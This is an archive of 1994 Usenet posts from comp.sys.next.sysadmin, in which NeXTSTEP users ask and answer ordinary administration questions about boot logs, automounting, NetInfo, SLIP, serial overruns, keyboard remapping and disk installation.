Date: 22 Mar 1994 21:26:31 GMT
Organization: The Whole Earth 'Lectronic Link, Sausalito, CA
Message-ID: <2mnnq7$hsr@nkosi.well.com>
I'm running NS3.2 on a cube.
How can I look at the messages generating during boot time, i.e., the ones
written to /dev/console. I want to browse back through the boot output.
On other systems, I've always been able to just do dmesg, but on this
system, I'm not getting past log messages (from this boot session, not a
previous one).
Thanks,
Ken
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From: qarl@bigfoot.ecl.wustl.edu (Karl Stiefvater)
Newsgroups: comp.sys.next.sysadmin
Subject: amd auto-mounter?
Date: 22 Mar 1994 16:10:05 -0600
Organization: Washington University, St. Louis MO
Message-ID: <2mnqbt$6s6@bigfoot.ecl.wustl.edu>
Is anyone out there successfully using the amd auto-mounter under 3.1?
I'm trying to use upl75, and so far many of the demos in the documentation
hang amd (and the file system).
-
Karl Stiefvater
qarl@ecl.wustl.edu
From: jonas@paris.history.washington.edu (Raymond Jonas)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: WP files in Digital Librarian
Date: 22 Mar 1994 21:27:41 GMT
Organization: University of Washington
Message-ID: <2mnnse$2lq@news.u.washington.edu>
Keywords: WordPerfect, Digital Librarian
I'm trying to use Digital Librarian to work with ~2.5mb of text files,
most of them in WordPerfect format. For some reason, Digital Librarian
won't index and search my WordPerfect files. I understand that DL is
supposed to filter out the WP codes, but for some reason it doesn't. Any
hints?
I'm running version 2.1 on a Nextstation.
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Associate Professor
Department of History, DP-20
University of Washington
Seattle, WA 98195
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From: gbryant@netcom.com (Greg Bryant)
Subject: HELP: NeXTSTEP installation on a Gateway Pentium
Message-ID: <gbryantCn39M3.4J8@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Tue, 22 Mar 1994 23:08:26 GMT
After three months of travail (including 300 dollars wasted on the 3.1
Evalutaion Kit), I am finally getting ready to install NS 3.2 on my Pentium
with the follwing configuration:
ATI Graphics Ultra Pro 2mb
WD 540 mb IDE
Adaptec 1542CF
Extrnal SCSI CD-ROM (Sony or Toshiba)
I have OS/2 and DOS running on my current IDEs, so I intend to open the
box and disconnect them each time I want to swap over to the WD 540 to
boot NS, and vice versa. Will this cause any problems
that you can think of? Anyway, I guess my real request is for any tips
or suggestions, warnings, whatever comes to mind that might help me
complete this installation successfully. This is not my area of
expertise and it's been a real struggle just getting to this point, so
any insight you offer will be much appreciated.
Greg Bryant
(Whaddup S9UART?)
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From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Disk Quota-ing
Date: 23 Mar 1994 00:08:59 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2mo1ar$fg8@quartz.ucs.ualberta.ca>
References: <9403221736.AA26463@dcs.shef.ac.uk>
If there are people with a problem with this, I have implemented disk
quotas on my local group of nexts. The inspireation for this came from
Mark Makja at Next who did this with a fancy front end, and a zillion
files. I modified it to a simple perl script, and a single flat data file.
It's not the full blown quota system that kills you dead as soon as you
go over your hard limit. Instead it checks your disk usage in the
middle of the night, mails warnings when you get close to your quota,
stern messages when over quota, and if over quota for more than 7 of the
previous 10 days (easy to change) will disable your account.
There are hooks in it for doing other things. E.g. you could easily
do a gzip -r ~user/*
Mail me if you want more info.
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From: alberto@parsec.mixcom.com (Alberto Ricart)
Subject: Help!!! - Netbooting trouble
Message-ID: <1994Mar22.202755.1354@parsec.mixcom.com>
Organization: SmartSoft, Inc.
Date: Tue, 22 Mar 1994 20:27:55 GMT
I have set up a Netboot server as per the System Administration Guide.
All goes fine on the client machine (I can even get it to boot in single
user mode). But right before the system puts the login panel -
BOOM - I get a panic.
The panic says:
primary network interface en0 [192.42.172.5]
NFS mounting "root" from orion:/
NFS mounting "private" from orion:/clients/andromeda
unexpected kernel page fault failure
---------
The Sys Adm Guide said to export both / and /clients/andromeda
which NFS manager won't allow since /clients/andromeda is already
exported by exporting /
The machine boots fine in single user mode. All directories are
right where they should be.
Oh yes, this is all on NeXT hardware.
Any ideas as to what the dickens is going on?
--
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SmartSoft, Inc.
2220 E. Linnwood Avenue, Milwaukee, WI 53211-3321
From: shepherd@suite.com (Scot Shepherd)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ** Security Hole ** Can't restrict boot options on NS Intel
Date: 22 Mar 1994 23:28:56 GMT
Organization: Suite Software
Message-ID: <2mnuvo$h9i@bilbo.suite.com>
References: <scratch.763865283@arcturus.sce.carleton.ca>
In article <scratch.763865283@arcturus.sce.carleton.ca>
scratch@arcturus.sce.carleton.ca (Craig Scratchley) writes:
>
> I believe you are incorrect about the lack of "hardware
> passwords" on intel hardware. For example:
>
> The 386 computer in my lab with American Megatrends Intl. (AMI)
> BIOS has a password for the BIOS setup program (in which one can
> specify to boot off of the hard disk first).
>
> The 486 computer with AMI BIOS is the same.
>
> In fact, I don't know of any '486 computers without some sort of
> "hardware password". In any case, an organization concerned about
> security can certainly buy a computer with a "hardware password".
>
These hardware passwords are ridiculously easy to get around. Don't
fool yourself into thinking your protected. It keeps the honest
honest and thats it...
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From: theharv@csld.ucr.edu (Brian Harvey)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: amd auto-mounter?
Date: 23 Mar 1994 01:47:59 GMT
Organization: University of California, Riverside
Message-ID: <2mo74f$ghi@galaxy.ucr.edu>
References: <2mnqbt$6s6@bigfoot.ecl.wustl.edu>
Karl Stiefvater (qarl@bigfoot.ecl.wustl.edu) wrote:
: Is anyone out there successfully using the amd auto-mounter under 3.1?
: I'm trying to use upl75, and so far many of the demos in the documentation
: hang amd (and the file system).
I have a lab of 31 NeXTs running 3.2 all using amd I think it is great!
Here's what amd -v shows:
-----
<theharv@mozart> : /Net/mozart/export/home/staff/theharv
> amd -v
Copyright (c) 1990 Jan-Simon Pendry
Copyright (c) 1990 Imperial College of Science, Technology & Medicine
Copyright (c) 1990 The Regents of the University of California.
amd 5.2.2.2 of 1992/05/31 16:53:21 bsd44-alpha #1: Thu Nov 18 10:56:40 1993
Built by theharv@mozart for a next running next (unknown-endian).
Map support for: root, passwd, union, nis, file, error.
FS: ufs, nfs, nfsx, host, link, linkx, program, union, auto, direct,
toplvl, error.
Primary network is 138.23.204.0.
-----
I tried some of the newer versions of amd and it didn't work at all. This
version seems to work the best.
BTW anyone get hlfsd (an extension to amd) to work? It always crashes my
machines when I use it...
----------------------
Brian Harvey * theharv@csld.ucr.edu
University of California, Riverside * brian@cs.ucr.edu
C.S.L.D. System Administrator (NeXT Mail preferred everywhere!)
From: xinwei@otter.Stanford.EDU (Sha Xin Wei)
Newsgroups: comp.sys.next.sysadmin
Subject: AppleShare
Date: 23 Mar 1994 03:47:29 GMT
Organization: Stanford University
Distribution: world
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References: <2ljgid$ihi@cedar.mr.net>
Who makes AppleShare networking for NS?
We're runnig NS 3,0 and 3.2 Motoroloa's.
Sha Xin Wei
Stanford University
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Newsgroups: comp.sys.next.sysadmin
From: Willy Amazing <adams@adamation.com>
Subject: Re: 100K limit on incoming mail on NeXTs?
Message-ID: <Cn3H3C.Aqz@taligent.com>
Sender: usenet@taligent.com (More Bytes Than You Can Read)
Organization: Adamation
References: <2lnqbq$oqp@hub.ucsb.edu>
Date: Wed, 23 Mar 1994 01:49:59 GMT
100K limit on incoming mail on NeXTs?
This sort of thing is controlled by your sendmail.cf file. (or in this
case, the sending party's). Get the Oreily book on sendmail. It tells
you how to set this limit.
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos)
Subject: sound problems in Pentium/PCI/ISA
Message-ID: <1994Mar22.212420.2318@Princeton.EDU>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
Date: Tue, 22 Mar 1994 21:24:20 GMT
Hi. I'm trying to get sound to work in a Pentium PCI/ISA machine.
[Please don't bother telling me sound does *not* work in an ISA
machine, 'cause it works pretty well (not perfectly --but pretty well)
in my 486 VL/ISA].
I'm not getting the best results on the Pentium with a ProAudio
Spectrum. I'm thinking about trying the Microsoft Sound System, but I
wonder what kind of results other users have had with this option.
Please share any comments.
Thanks,
Phil
G. Philippe Menos
gpmenos@firestone.princeton.edu [NeXTmail OK.]
Systems Administrator, Princeton University Libraries
voice: 609-258-5183 fax: 609-258-5571
--
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gpmenos@firestone.princeton.edu [NeXTmail OK.]
Systems Administrator, Princeton University Libraries
voice: 609-258-5183 fax: 609-258-5571
From: jmack@skye.phys.ualberta.ca
Newsgroups: comp.sys.next.sysadmin
Subject: Re: TransSys DialUpIp on NS3.2??
Date: 23 Mar 1994 06:35:09 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2monut$hs4@quartz.ucs.ualberta.ca>
References: <2mnjlv$fv8@nkosi.well.com>
Keywords: slip
In article <2mnjlv$fv8@nkosi.well.com> kenw@well.sf.ca.us (Kenneth A. Worthy)
writes:
> Has anyone used TransSys DialUpIP with NS3.2? I have tried to install this
> recently, and it looks like /etc/ifconfig can't find the slip interface.
> I figure maybe the loadable driver is not getting installed correctly.
> This is the output of the rc.slip:
>
>
> Begin SLIP configuration.
> Configuring interface slip0
> ifconfig: ioctl (SIOCGIFFLAGS): no such interface
> Can't disable compression: SIOCBISSOFTFLAGS: No such device or address
>
> etc.
>
>
>
> Thanks,
>
> Ken
It works in 3.2 on black only (PNI 1.7beta for NS/FIP)
Have you done a 'duinstall' in /usr/dialupip/bin ? (answer '2' to the
propmt).
This creates thes files(for the 2-interface relocatable code):
dudisc_slip0
dudisc_slip1
Without these files, nothing will happen.
--
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Computing/Networking Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
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From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 100K limit on incoming mail on NeXTs?
Date: 23 Mar 1994 08:21:48 -0000
Organization: me organised, that's a joke.
Message-ID: <2mou6s$132@steffi.demon.co.uk>
References: <2lnqbq$oqp@hub.ucsb.edu> <Cn3H3C.Aqz@taligent.com>
Willy Amazing <adams@adamation.com> wrote in comp.sys.next.sysadmin
>100K limit on incoming mail on NeXTs?
>This sort of thing is controlled by your sendmail.cf file. (or in this
>case, the sending party's). Get the Oreily book on sendmail. It tells
>you how to set this limit.
Yes, the addressees problem was the senders sendmail configuration. He
couldn't send them > 100K.
--
"Bitch" (Albert Finney, Audrey Hepburn)
"Bastard"
(Two for the Road, 1967)
(ASCII for text only messages)
From: ac1mdc@sunc.sheffield.ac.uk (M Crawford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Where's the console message log??
Date: 23 Mar 1994 09:22:32 GMT
Organization: Academic Computing Services, Sheffield University
Message-ID: <2mp1oo$9ds@hippo.shef.ac.uk>
References: <2mnnq7$hsr@nkosi.well.com>
Kenneth A. Worthy (kenw@well.sf.ca.us) wrote:
: How can I look at the messages generating during boot time, i.e., the ones
: written to /dev/console. I want to browse back through the boot output.
:
Look in /usr/adm/messages
Console messages appearing in /tmp/console.log can be viewed in the
Workspace Console (Tools->Console, or Command-C)
There's also a Console.app available which automagically pops up a
Window of its own whenever anything is written to the console, which
can sometimes be useful.
Have fun,
mmalcolm.
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Where's the console message log??
Date: 23 Mar 1994 13:23:44 -0000
Organization: me organised, that's a joke.
Message-ID: <2mpft0$34d@steffi.demon.co.uk>
References: <2mnnq7$hsr@nkosi.well.com> <2mp1oo$9ds@hippo.shef.ac.uk>
ac1mdc@sunc.sheffield.ac.uk (M Crawford) wrote in comp.sys.next.sysadmin
>Kenneth A. Worthy (kenw@well.sf.ca.us) wrote:
>: How can I look at the messages generating during boot time, i.e., the ones
>: written to /dev/console. I want to browse back through the boot output.
>:
>Look in /usr/adm/messages
>
>Console messages appearing in /tmp/console.log can be viewed in the
>Workspace Console (Tools->Console, or Command-C)
>There's also a Console.app available which automagically pops up a
>Window of its own whenever anything is written to the console, which
>can sometimes be useful.
>
>Have fun,
>
>mmalcolm.
If you can afford the desktop space.
Just use /usr/ucb/tail -f /usr/tmp/console.log for the shell any terminal window.
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From: peirce@wmich.edu (Leonard J. Peirce; Systems)
Newsgroups: comp.sys.next.sysadmin
Subject: system accounting problem in 3.0
Message-ID: <1994Mar23.092501.16127@wmichgw>
Date: 23 Mar 94 09:25:01 EST
Organization: Western Michigan University
I've finally gotten around to trying system accounting and noticed that
a majority of the records in /usr/adm/acct have no CPU time recorded in
either the ac_utime or ac_stime fields. Other fields appear to be filled
in with nominally correct values.
Does anyone know of a fix for this? We're running 3.0
E-mail replies are best. If there is sufficient interest I'll post a
summary.
And as always, many thanks in advance for any help.....
--
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University Computing Services
Kalamazoo, MI 49008 Voice: (616) 387-5430
From: swikart@aol.com (SWIKART)
Newsgroups: comp.sys.next.sysadmin
Subject: TN3270 for NeXTSTEP?
Date: 23 Mar 1994 09:50:02 -0500
Organization: America Online, Inc. (1-800-827-6364)
Sender: news@search01.news.aol.com
Message-ID: <2mpkuq$3g1@search01.news.aol.com>
Anybody know about any NeXTSTEP TN3270 software out there? I am trying out
Conextions but I am interested in finding something else.
Thanks
Kevin Schweickhardt
Perspective Technology Corporation
Voice Mail (719)535-6248 @ Colorado Springs CO
From: info@paradigm-shift.com (Paradigm Shift, Inc.)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: sound problems in Pentium/PCI/ISA
Date: 23 Mar 1994 14:27:32 GMT
Organization: MCNC -- Center for Communications -- CONCERT
Distribution: world
Message-ID: <2mpjkk$adt@inxs.concert.net>
References: <1994Mar22.212420.2318@Princeton.EDU>
In article <1994Mar22.212420.2318@Princeton.EDU>
gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos) writes:
> Hi. I'm trying to get sound to work in a Pentium PCI/ISA machine.
> [Please don't bother telling me sound does *not* work in an ISA
> machine, 'cause it works pretty well (not perfectly --but pretty well)
> in my 486 VL/ISA].
>
> I'm not getting the best results on the Pentium with a ProAudio
> Spectrum. I'm thinking about trying the Microsoft Sound System, but I
> wonder what kind of results other users have had with this option.
> Please share any comments.
>
Phil, We placed the Microsoft Sound System into XL's from Digital and they work
great, however repeating sounds in very short order does cause most of the
cards to choke sometimes.
Dave
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Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: opus@ipnh.mv.com (David C. Jedlinsky)
Subject: Re: TransSys DialUpIp on NS3.2??
Message-ID: <Cn4Iq9.3z@mv.mv.com>
Sender: usenet@mv.mv.com (System Administrator)
Organization: MV Communications, Inc.
Date: Wed, 23 Mar 1994 15:22:56 GMT
References: <2mnjlv$fv8@nkosi.well.com>
In article <2mnjlv$fv8@nkosi.well.com> kenw@well.sf.ca.us (Kenneth A. Worthy) writes:
>Has anyone used TransSys DialUpIP with NS3.2? I have tried to install this
>recently, and it looks like /etc/ifconfig can't find the slip interface.
>I figure maybe the loadable driver is not getting installed correctly.
I am running NS3.2 with DialUp IP [920904]. Since I am posting from
that machine, if you see this post, SLIP is working. I did a complete
install from scratch when I upgraded to 3.2, and I don't recall doing
anything strange to get it to work.
>Thanks,
>
>Ken
-Dave Jedlinsky
opus@ipnh.mv.com
From: wolfgang@neptun.nt.tuwien.ac.at (Wolfgang Pusch)
Newsgroups: comp.sys.next.sysadmin
Subject: Using alternate key as a modifier key in co-Xist.
Date: 23 Mar 1994 15:54:44 GMT
Organization: Technical University Vienna, Austria
Message-ID: <2mpoo4$3i8@email.tuwien.ac.at>
I am working on a NeXTstation with a german keyboard. The X-Windows
programm `co-Xist' does not know the german mapping. So i tried to remap
the keys for my own. I have written a file .xmodmaprc which has the
following contents:
keycode 8 = Mode_switch
keycode 9 =
keycode 10 =
keycode 11 = backslash bar
keycode 12 = bracketright braceright
keycode 13 = bracketleft braceleft
keycode 14 = i I
keycode 15 = o O
keycode 16 = p P
keycode 17 = Left
keycode 18 =
.
.
. (and so on)
.
keycode 35 = Delete BackSpace
keycode 36 = equal plus
keycode 37 = minus underscore
keycode 38 = 8 parenleft bracketleft
keycode 39 = 9 parenright bracketright
keycode 40 = 0 equal braceright
keycode 41 = KP_7
.
.
keycode 124 =
keycode 125 =
keycode 126 = Control_L
keycode 127 = Shift_L
keycode 128 = Alt_L
keycode 129 = Meta_L
keycode 130 = Meta_R
keycode 131 = Shift_R
keycode 132 = Alt_R
keycode 133 = Caps_Lock
keycode 134 =
keycode 135 =
add mod1 = Mode_switch
I have used the command
xmodmap .xmodmaprc
to load the file .xmodmaprc. But everytime i have got an error
wolfgang@neptun:~[0]% xmodmap .xmodmaprc
xmodmap: bad set modifier mapping.
wolfgang@neptun:~[1]%
which is caused by the last line in the file. If i delete it, then no
error occurs. In this case the remapping works fine for keys which are
accessed directly or keys which are accessed with the SHIFT modifier.
Selecting keysymbols with the ALTERNATE key(s) as modifier DOES NOT WORK!!
The following commands shows the modifiers:
wolfgang@neptun:~[0]% xmodmap -pm
xmodmap: up to 2 keys per modifier, (keycodes in parentheses):
shift Shift_L (0x7f), Shift_R (0x83)
lock Caps_Lock (0x85)
control Control_L (0x7e)
mod1 Alt_L (0x80), Alt_R (0x84)
mod2 Meta_L (0x81), Meta_R (0x82)
mod3
mod4
What is the problem with the file? If anybody has a file which works well
also with the alternate key as a modifier key, then please mail it to me
(it does not matter whether it is matched to a german keyboard or not!!)
Thanks, Wolfgang
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From: info@paradigm-shift.com (Paradigm Shift, Inc.)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: TN3270 for NeXTSTEP (Use Cables)
Date: 23 Mar 1994 15:45:02 GMT
Organization: MCNC -- Center for Communications -- CONCERT
Distribution: world
Message-ID: <2mpo5v$bmg@inxs.concert.net>
References: <2mpkuq$3g1@search01.news.aol.com>
In article <2mpkuq$3g1@search01.news.aol.com> swikart@aol.com (SWIKART) writes:
> Anybody know about any NeXTSTEP TN3270 software out there? I am trying out
> Conextions but I am interested in finding something else.
>
> Thanks
>
> Kevin Schweickhardt
> Perspective Technology Corporation
> Voice Mail (719)535-6248 @ Colorado Springs CO
I would suggest Cables from Yrrid, Inc. in Chapel Hill...Niall's new release of
Cables has 3270 emulation, as well as DG, DEC and other systems's as well.
Yrrid can be reached at 919-968-7858 or yrrid@world.std.com.
Dave
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From: art@cubicsol.com (Art Isbell)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: [Q] Logout Panel
Date: 23 Mar 1994 17:40:28 GMT
Organization: University of California, Santa Cruz
Distribution: world
Message-ID: <2mpuuc$g27@darkstar.UCSC.EDU>
References: <CEDMAN.94Mar20215537@capitalist.princeton.edu>
In article <CEDMAN.94Mar20215537@capitalist.princeton.edu>
cedman@princeton.edu (Carl Edman) writes:
> In article <2mhnhh$gr9@news.cis.nctu.edu.tw> is81084@cis.nctu.edu.tw (
Dai-Woei Yan) writes:
> When logging out, the system prompt "Cancel", "Power off" &
> "Logout" for everyone.
>
> Many users choose the "Power off", which they may think it is a
> good habit, but that really TROUBLE us. *sigh*
>
> Would anyone be so kind to tell me how to prevent users from
> shutting down the system but root ??
>
> Will users ever learn that workstations aren't supposed to be turned
> off ? Fortunately the answer to your question is not the same.
>
> dwrite loginwindow PowerOffDisabled YES
Smart users won't learn something that's not true. "Some" workstations
shouldn't be turned off. Sounds like Dai-Woei Yan's is one of these.
But many workstations *should* be turned off when doing no useful work.
NeXT apparently agrees by making this the default mode of operation.
(Just offering a balanced point of view, Carl. Don't get all huffy
about this again :-)
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NeXTmail: art@cubicsol.com Voice: +1 408 335 1154
USmail: 95018-9442 Fax: +1 408 335 2515
Newsgroups: comp.sys.next.sysadmin
From: root@polaris.scicntr.ortn.edu (Operator)
Subject: 3.2 and problems with NetInfo
Message-ID: <1994Mar23.192649.19426@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
Date: Wed, 23 Mar 1994 19:26:49 GMT
I have one machine (polaris) set up as the master netinfo server.
There are 11 other machines that are clients. There are four printers that all
stations share.
Everything was working great under 3.0.
I upgraded to 3.1 and then to 3.2 over a period of a few days.
Now Users who try to direct output to printers from Terminal Window using lpr
get errors "permission denied".
I can't get SimpleNetwork Starter to allow me to change things like "serves
mail" or shares "Users". They aren't highlighted and won't change.
The Printmanager for the netinfo server doesn't allow me to change any printer
selections. The Printmanager on the machines with the printers allow me only
to diddle with Local Printer, but not with the Name I created for the shared
printer. I.E. Under 3.0 I had logged into "deneb" as root, used print manager
to add the printer "Local_Printer", then selected Share and made it available
to the root domain as Deneb_Printer. Now under 3.2, I can't change any of
that!
Do I need to just delete my local.nidb and network.nidb on each machine and
replace them with the one from /usr/template/client/etc/netinfo/local.nidb
and start all over?
Anxiously,
J. W. Wooten
Newsgroups: comp.sys.next.sysadmin
Organization: Antigone Press gateway, San Francisco
Return-Path: <0005508785@mcimail.com>
Date: Wed, 23 Mar 94 13:18 EST
From: "ErgoTech Development, Inc." <0005508785@mcimail.com>
Subject: Re: Parallel port problems
Message-ID: <15940323181851/0005508785NA1EM@mcimail.com>
schwett@netcom.com (Mark Schwettmann) and others have written this or similar solutions to parallel port problems:
>Try changing the Paralell port to LPT*2* in the CMOS setup.
Trivia Time:
This is mostly from memory, so may not be completely accurate.
If you bought one of the original PC, ie BC (before cloning) you did not get a
printer port. If you bought a color system, then you could get either a serial
or parallel board as an add on. The parallel add-in board had a base address
of 0x378. Now you had a color system, with a printer port.
If however you bought the mono system, with no graphics - Hercules mono
graphics came later, the video board had a printer port on it. It had a base
address of 0x3BC. This address, I believe, was fixed.
If you now added the official parallel printer board to the mono system the
bios would automatically set up the mono printer port at 0x3BC as LPT1 and the
one at 0x378 as LPT2. If no board was found at 0x3BC then the bios would set
the port at 0x378 to be LPT1. The computer knew, and still knows, because the
addresses were stored in the area of RAM that the bios allocated for itself to
store such information. And you could use your ROM based BASIC to peek and
poke into those addresses and change them around, if you so desired.
>I did this and NeXTStep prints fine; in fact so do NT, OS/2 and DOS, even
>though the port has been remapped...
NeXT, by default, expects the printer port to be at 0x378. If you have a
computer that thinks it's smart, and emulating a mono system, it could have the
default printer port (LPT1) address at 0x3BC. Through, I assume, the wonders
of ASICs you can change that address to 0x378. The computer should still be
happy because the bios will still find this as LPT1.
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 23 Mar 1994 14:42:45 -0500
Organization: Next Announcements
Message-ID: <2mq63l$gm@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
comp.sys.next.* newsgroups
--------------------------
Comp.Sys.Next.Advocacy
This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
created specifically to divert lengthy flame wars
from .misc.
Comp.Sys.Next.Announce
Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
post to it directly. Submissions should be e-mailed
to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
Comp.Sys.Next.Bugs
A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-
specific groups as well.
Comp.Sys.Next.Hardware
Discussions about NeXT-label hardware and compatible
peripherals, and non-NeXT-produced hardware (e.g.
Intel) that is compatible with NEXTSTEP. In most
cases, questions about Intel hardware are better
asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't
the place to buy or sell used NeXTs--that's what
.marketplace is for.
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ftp.next.com and NextAnswers@next.com
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From the document 1000_Help from ftp.next.com
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
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NeXTanswers does not answer your questions or forward your requests.
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Files are sent as NeXTmail attachments by default; you can request they be
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(ignoring capitalization)
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sent as ASCII text files:
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Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
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If you have any problem with the system or suggestions for improvement,
please send mail to NeXTanswers-request@NeXT.com.
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To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
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Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: gfin@psych.ualberta.ca (Gary Finley)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: [Q] raw input overrun
Date: 23 Mar 1994 19:32:32 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Distribution: world
Message-ID: <2mq5gg$mjg@quartz.ucs.ualberta.ca>
References: <Cn1or2.35r@obelix.apana.org.au>
gvdl@obelix.apana.org.au writes
> I did an enormous download and got the following messages in my
> Console Log.
>
> Mar 22 06:58:43 obelix mach: tty481: raw input overrun
> Mar 22 06:59:00 obelix mach: tty481: raw input overrun
> Mar 22 06:59:01 obelix last message repeated 8 times
> Mar 22 09:29:55 obelix mach: tty481: raw input overrun
> Mar 22 09:30:33 obelix last message repeated 29 times
>
> I've limited the modem to only 4800 baud with V42/V42bis as it is so I
can't
> see how I'm getting this problem.
>
> I'm running a fairly generic 486/66 with NS3.2 and I do have a 16550
serial
> chip. I just doesn't seem to cut the mustard. Does everybody else out
there
> suffer from the same problems using NS intel.
Sorry I can't help you with the problem, but I share your concern. I'm
just putting up a slip link between a white box at home (running 3.2)
and a Turbo slab at work. Yesterday I got tons of errors doing tests
with both ends set to 38,400, so today I did a test ftp from black->
white with the white baud rate dropped to 19,200. Got these messages:
Mar 23 08:03:32 loa mach: ttyscc1: receive error 2 (-901)
Mar 23 08:03:37 loa mach: Scc(com0): Rx: DMA Buffer Overrun
Mar 23 08:03:43 loa mach: Scc(com0): Rx: DMA Buffer Overrun
Mar 23 08:03:50 loa mach: Scc(com0): Rx: DMA Buffer Overrun
Mar 23 08:03:54 loa mach: Scc(com0): Rx: DMA Buffer Overrun
Mar 23 08:03:59 loa mach: Scc(com0): Rx: DMA Buffer Overrun
Mar 23 08:04:03 loa mach: Scc(com0): Rx: DMA Buffer Overrun
Mar 23 08:04:15 loa mach: Scc(com0): Rx: DMA Buffer Overrun
Mar 23 08:04:28 loa mach: ttyscc1: receive error 2 (-900)
Mar 23 08:04:42 loa mach: ttyscc1: receive error 2 (-900)
Mar 23 08:04:43 loa mach: ttyscc1: receive error 2 (-900)
This was for an 800kb file. The same transfer at 38.4 would have
produced 100s of such messages. I have SupraFAX 14.4 modems at
each end, with hardware flow control. Since it's much better (if not
reliable) at 19.2 than at 38.4, I would guess that the NS 3.2 handler
is still not taking full advantage of the 16550's buffering. Like
you I have no problem with this hardware under DOS software, having
done lots of 14.4 kbps/compressed Ymodem-G file transfers with no
problems at all. If somebody helps you out, please let me know too!
--------------------------------------------
Gary Finley, Univ. of Alberta Psychology Dept.
gfin@psych.ualberta.ca (NeXTmail welcome!)
From: gregory@nukestep.mit.edu (Gregory B Howland)
Newsgroups: comp.sys.next.sysadmin
Subject: BuildDisk.app won't install NS onto SCSI drive
Date: 23 Mar 1994 23:54:07 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <2mqkqv$c9c@senator-bedfellow.MIT.EDU>
I have both an internal IDE and SCSI drive in my computer.
NS/i 3.2 is on the IDE drive, there is also a 10MB partition
on that drive. The SCSI drive is a Seagate 525MB drive.
I am trying to install NS onto the SCSI drive so I can use
that as the boot disk. When I open the Build Disk application,
it recognizes the SCSI drive and also the correct size. However
when I try to install NS I get this error: Build Failed. The
disk could not be initialized successfully.
The console gives this message:
Limiting sectors to those bios-accessible, from 1065036 to 20740
Requested partition size larger than disk
The df command gives this info:
Filesystem kbytes used avail capacity Mounted on
/dev/sd0a 9799 10 9299 0% /UntitledDisk
And the command: disk /dev/rsd0a, gives this info:
Limiting sectors to those bios-accessible, from 1065036 to 20740
etc. . .
Why is it limiting the sectors and how can I access the entire disk?
Thanks in advance,
Greg
From: starksm@genesis.mcs.com (Scott M. Stark)
Newsgroups: comp.sys.next.sysadmin
Subject: DBModeler to Sybase
Date: 24 Mar 1994 03:08:41 GMT
Organization: MCSNet Services
Distribution: world
Message-ID: <2mr07p$d0d@Mars.mcs.com>
Keywords: DBModeler, Sybase
I am haing a difficult time getting the DBModeler.app to connect to a
remote Sybase server running on a Sparc10, running Solaris2.3. I can
run isql fine, and I have written a simple DBLibary based app that
is also able to connect. I have tried using the SybaseInterfacesFile
system default as well. Is there a trick to getting the login through
the DBKit to behave the same as DBLibrary? This is from an m68k
system running 3.1.
Thanks,
Scott
--
Scott Stark
Stark Internation Software
4950 N. Marine Dr.
#102
Chicago, IL 60640
starksm@genesis.mcs.com (NeXT mail accepted)
From: Jim De Arras <jmd@cube.handheld.com>
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help with DEC DSP 5350S on 25Mhz '040 cube.
Date: 24 Mar 1994 00:23:55 GMT
Organization: Hand Held Products, Inc.
Distribution: world
Message-ID: <2mqmirINNdme@clem.handheld.com>
References: <2mi4rkINN4km@clem.handheld.com>
In article <2mi4rkINN4km@clem.handheld.com> Jim De Arras
<jmd@cube.handheld.com> writes:
> I'm trying to install a DEC DSP5350S (as reported in the boot-up) 3406MB
> hard disk. When I try to initialize it, I get the following error:
>
